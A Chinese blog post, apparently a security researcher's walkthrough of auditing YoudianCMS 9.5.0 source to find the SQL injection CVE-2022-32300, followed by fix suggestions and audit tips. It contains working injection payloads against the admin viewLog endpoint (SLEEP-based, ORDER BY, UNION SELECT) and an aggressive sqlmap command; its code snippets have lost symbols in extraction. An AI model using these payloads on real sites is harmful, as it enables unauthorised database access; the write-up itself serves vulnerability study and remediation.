从CVE-2022-32300看漏洞挖掘:我是如何审计YoudianCMS 9.5.0源码发现这个SQL注入点的

张开发
2026/5/31 12:45:30 15 分钟阅读
从CVE-2022-32300看漏洞挖掘:我是如何审计YoudianCMS 9.5.0源码发现这个SQL注入点的
从零开始审计YoudianCMS一次真实的SQL注入漏洞挖掘之旅那天下午我正坐在电脑前浏览Vulfocus平台上的漏洞公告突然注意到一个关于YoudianCMS 9.5.0的SQL注入漏洞(CVE-2022-32300)。作为一名有三年代码审计经验的安全研究员我决定抛开现成的漏洞报告亲自下载源码进行一次完整的审计过程看看能否独立发现这个漏洞。1. 环境搭建与初步代码梳理首先从官方渠道下载了YoudianCMS 9.5.0的完整源码包。作为审计的第一步我习惯性地建立了本地测试环境# 创建测试数据库 mysql -u root -p -e CREATE DATABASE youdian CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;安装完成后我开始浏览项目目录结构。YoudianCMS采用典型的MVC架构重点关注/App/Lib/Action/目录下的控制器文件。根据经验后台管理模块往往是漏洞的高发区域因此我决定从/App/Lib/Action/Admin/目录开始审计。常见CMS审计切入点用户输入处理逻辑数据库操作封装方式权限校验机制文件上传功能2. 定位可疑代码段在浏览Admin目录时MailAction.class.php文件引起了我的注意。邮件系统通常涉及复杂的数据处理是潜在的漏洞点。打开文件后我立即搜索直接使用$_GET、$_POST等超全局变量的地方。很快在viewLog方法中发现了可疑代码public function viewLog(){ $mailSendID $_GET[MailSendID]; $where MailSendID.$mailSendID; $this-assign(list,$this-model-where($where)-select()); $this-display(); }这段代码有几个明显的危险信号直接使用$_GET获取参数没有进行任何过滤直接将用户输入拼接到SQL查询条件中使用字符串拼接而非参数化查询3. 数据流分析与漏洞确认为了确认这个点是否真的存在漏洞我需要完整追踪MailSendID参数的数据流用户通过URL传递参数/index.php/Admin/mail/viewLog?MailSendID1PHP直接获取$_GET[MailSendID]值值被直接拼接到$where字符串中$where字符串被传递给模型的where()方法最终生成完整SQL查询执行为了验证漏洞我构造了一个简单的测试Payload/index.php/Admin/mail/viewLog?MailSendID1 AND SLEEP(5)发送请求后服务器确实延迟了5秒才响应初步确认存在基于时间的SQL注入漏洞。4. 深入漏洞利用分析理解了漏洞原理后我进一步探索可能的利用方式。YoudianCMS使用的是MySQL数据库这意味着可以利用多种技术进行数据提取。典型的MySQL注入技术联合查询注入(UNION-based)布尔盲注(Boolean-based)时间盲注(Time-based)报错注入(Error-based)我决定尝试联合查询注入首先需要确定列数/index.php/Admin/mail/viewLog?MailSendID1 ORDER BY 10--通过逐步增加ORDER BY后的数字最终确定查询返回7列数据。接着构造完整的UNION查询/index.php/Admin/mail/viewLog?MailSendID-1 UNION SELECT 1,2,3,4,5,6,7--这个请求成功返回了页面并在页面中显示了数字2和5说明这两个位置可以用于数据回显。5. 自动化工具验证虽然手动验证已经确认漏洞存在但为了全面评估风险我决定使用sqlmap进行自动化测试。首先保存了一个包含有效会话的HTTP请求到文件req.txtGET /index.php/Admin/mail/viewLog?MailSendID1 HTTP/1.1 Host: localhost Cookie: PHPSESSIDxxxxxxxxxx然后运行sqlmap进行检测sqlmap -r req.txt --risk3 --level5 --batchsqlmap很快确认了漏洞并提供了详细的数据库信息[12:34:56] [INFO] the back-end DBMS is MySQL [12:34:56] [INFO] fetching banner: 5.7.34-0ubuntu0.18.04.16. 漏洞修复建议分析完漏洞后我思考了几种可能的修复方案1. 参数化查询推荐方案$where MailSendID:mailSendID; $this-model-where($where, [mailSendID$mailSendID])-select();2. 输入过滤$mailSendID intval($_GET[MailSendID]); $where MailSendID.$mailSendID;3. 使用框架提供的安全方法$mailSendID I(get.MailSendID, 0, intval); $where [MailSendID$mailSendID];7. CMS审计的经验总结通过这次审计我总结了几个在CMS代码审计中的实用技巧关注高风险函数如eval()、system()、直接数据库查询等追踪用户输入从入口点到最终使用点的完整路径理解业务逻辑特殊功能模块往往有特殊的安全考虑组合测试方法静态分析动态验证工具辅助常见危险代码模式对比表风险等级代码模式潜在漏洞修复建议高危直接拼接SQLSQL注入使用参数化查询中危直接文件包含文件包含校验文件路径高危未过滤上传文件上传漏洞检查文件类型和内容中危直接反序列化反序列化漏洞校验数据签名审计过程中我还发现YoudianCMS的其他几个潜在问题点包括一些XSS和CSRF的可能性但SQL注入无疑是最直接的危险。这次经历再次验证了一个安全原则永远不要信任用户输入所有外部数据都必须经过严格的验证和过滤。

更多文章